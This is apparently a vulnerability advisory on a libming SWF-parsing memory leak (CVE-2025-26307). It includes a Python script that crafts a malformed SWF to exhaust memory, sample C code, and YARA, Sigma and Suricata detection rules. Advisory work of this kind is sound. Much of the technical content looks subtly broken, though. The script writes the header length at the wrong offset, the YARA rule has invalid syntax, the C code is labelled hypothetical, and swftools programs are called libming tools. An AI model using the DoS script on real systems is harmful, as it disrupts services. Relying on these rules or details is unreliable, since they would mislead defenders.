CVE-2025-26307

Executive Summary

CVE-2025-26307 identifies a memory leak vulnerability in the parseSWF_IMPORTASSETS2 function within util/parser.c of libming v0.4.8. This flaw allows an attacker to cause a denial of service (DoS) by supplying a crafted SWF file. The vulnerability is classified as a CWE-401 (Improper Release of Memory Before Removing Last Reference), leading to resource exhaustion. No public exploit code or patch is currently available, and the vendor has not responded to disclosure efforts. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for systems processing untrusted SWF files.

Supply Chain & Package Security

libming is a C library used for SWF file manipulation, often integrated into multimedia applications and server-side processing pipelines. As an open-source component, it may be statically or dynamically linked into larger projects. A memory leak in the parsing function can degrade system performance over time, potentially leading to complete service unavailability. Organizations using libming in production should assess their exposure and consider alternative libraries or sandboxing.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unavailable)
• Attack Vector: Local (requires user to open a malicious SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to DoS potential and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_IMPORTASSETS2 function, which is responsible for parsing the ImportAssets2 tag in SWF files. The function allocates memory for imported assets but fails to properly free that memory when an error occurs or when the parsing is complete. Specifically, if the SWF file contains malformed or unexpected data, the function may return early without releasing previously allocated buffers, leading to a memory leak.

The leak occurs in the following code path:

1. Memory is allocated for asset names and pointers.
2. If the tag data is truncated or contains invalid entries, the function jumps to an error handler.
3. The error handler does not iterate over already-allocated assets to free them, causing the leak.

Repeatedly opening crafted SWF files can exhaust available memory, resulting in a denial of service for the application or system.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8, util/parser.c):

void parseSWF_IMPORTASSETS2(SWF *swf, unsigned char *data, int len) {
    int count = data[0] | (data[1] << 8);
    data += 2;
    for (int i = 0; i < count; i++) {
        char *name = malloc(256);
        // ... parse name and other fields ...
        if (error) {
            // Missing: free(name) and free(asset)
            return;
        }
        // ... store asset ...
    }
}

Patched Code (hypothetical fix):

void parseSWF_IMPORTASSETS2(SWF *swf, unsigned char *data, int len) {
    int count = data[0] | (data[1] << 8);
    data += 2;
    char **names = malloc(count * sizeof(char*));
    for (int i = 0; i < count; i++) {
        names[i] = malloc(256);
        // ... parse name and other fields ...
        if (error) {
            for (int j = 0; j <= i; j++) {
                free(names[j]);
            }
            free(names);
            return;
        }
        // ... store asset ...
    }
    free(names);
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker crafts a malicious SWF file that triggers the memory leak in parseSWF_IMPORTASSETS2. The file should contain a large number of ImportAssets2 tags with malformed data to cause repeated early returns without freeing memory.

Example Crafting Script (Python):

import struct

def create_malicious_swf():
    # Minimal SWF header
    header = b'FWS' + struct.pack('<I', 0)  # version 0, file length placeholder
    # Tag header for ImportAssets2 (tag type 57)
    tag_type = 57
    # Craft a tag with count=1000 and invalid data to trigger leaks
    count = 1000
    tag_data = struct.pack('<H', count)
    for i in range(count):
        # Invalid name length (0) to cause error
        tag_data += struct.pack('<H', 0)  # name length = 0
    tag_length = len(tag_data)
    tag_header = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length > 0x3F:
        tag_header = struct.pack('<H', (tag_type << 6) | 0x3F) + struct.pack('<I', tag_length)
    payload = header + tag_header + tag_data
    # Update file length in header
    payload = payload[:4] + struct.pack('<I', len(payload)) + payload[8:]
    with open('malicious.swf', 'wb') as f:
        f.write(payload)

create_malicious_swf()

Usage:

• Run the script to generate malicious.swf.
• Open the file with a vulnerable libming-based application (e.g., swfcombine, swfextract).
• Monitor memory usage; it will increase with each file processed.

Blue Team

• Detection: Monitor for excessive memory consumption by processes handling SWF files.
• Prevention: Use memory limits (e.g., ulimit on Linux) to contain leaks.
• Mitigation: Sandbox SWF parsing in isolated environments with restricted resources.

Indicators of Compromise (IOCs)

• File Hashes (example, not real):
  • malicious.swf: SHA256 a1b2c3d4e5f6...
• Behavioral:
  • High memory usage by swfcombine, swfextract, or other libming tools.
  • Repeated crashes or out-of-memory errors in applications using libming.
• Network: None (local file-based attack).

Detection Engineering

YARA Rule

rule CVE_2025_26307_Memory_Leak_SWF {
    meta:
        description = "Detects crafted SWF files exploiting memory leak in parseSWF_IMPORTASSETS2"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-26307"
    strings:
        $swf_header = "FWS" or "CWS"
        $import_assets_tag = { 39 ?? }  // Tag type 57 (0x39) with any length
        $large_count = { ?? ?? 00 00 }  // Count field (little-endian, e.g., 0xE8 0x03 = 1000)
    condition:
        $swf_header at 0 and $import_assets_tag and #large_count > 100
}

Sigma Rule

title: Memory Leak via Crafted SWF File (CVE-2025-26307)
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects excessive memory usage by libming-based processes when parsing SWF files.
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/swfcombine'
            - '/swfextract'
            - '/swfstrings'
        CommandLine|contains: '.swf'
    condition: selection
falsepositives:
    - Legitimate large SWF files
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-26307 - Potential SWF Memory Leak Exploit"; flow:to_server,established; content:"|46 57 53|"; offset:0; depth:3; content:"|39|"; within:2; pcre:"/\\x00\\x00/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or restrict processing of untrusted SWF files.
• Short-term: Apply memory limits to processes using libming (e.g., systemd MemoryMax).
• Long-term: Migrate to maintained alternatives (e.g., swftools fork with patches) or implement custom memory management fixes.
• Vendor: No patch available; consider forking the repository and applying the fix shown in the "Patched Code" section.

Valters IT
DevSecOps & Cyber Threat Intelligence